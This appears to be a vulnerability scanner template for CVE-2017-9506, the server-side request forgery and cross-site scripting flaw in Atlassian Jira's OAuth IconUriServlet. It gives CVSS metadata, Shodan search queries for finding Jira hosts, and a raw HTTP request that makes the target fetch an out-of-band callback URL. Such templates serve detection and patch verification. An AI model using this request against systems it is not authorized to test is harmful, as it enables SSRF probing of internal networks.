Atlassian Jira IconURIServlet - Cross-Site Scripting/Server-Side Request Forgery

id: CVE-2017-9506

info:
  name: Atlassian Jira IconURIServlet - Cross-Site Scripting/Server-Side Request Forgery
  author: pdteam
  severity: medium
  description: The Atlassian Jira IconUriServlet of the OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 contains a cross-site scripting vulnerability which allows remote attackers to access the content of internal network resources and/or perform an attack via Server Side Request Forgery.
  impact: |
    Successful exploitation of these vulnerabilities could lead to unauthorized access, data theft, and potential server-side attacks.
  remediation: |
    Apply the latest security patches provided by Atlassian to mitigate these vulnerabilities.
  reference:
    - http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html
    - https://ecosystem.atlassian.net/browse/OAUTH-344
    - https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-171018bca2c3
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9506
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-9506
    cwe-id: CWE-918
    epss-score: 0.36995
    epss-percentile: 0.98316
    cpe: cpe:2.3:a:atlassian:oauth:1.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: oauth
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2017,atlassian,jira,ssrf,oast,vkev,vuln

http:
  - raw:
      - |
        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
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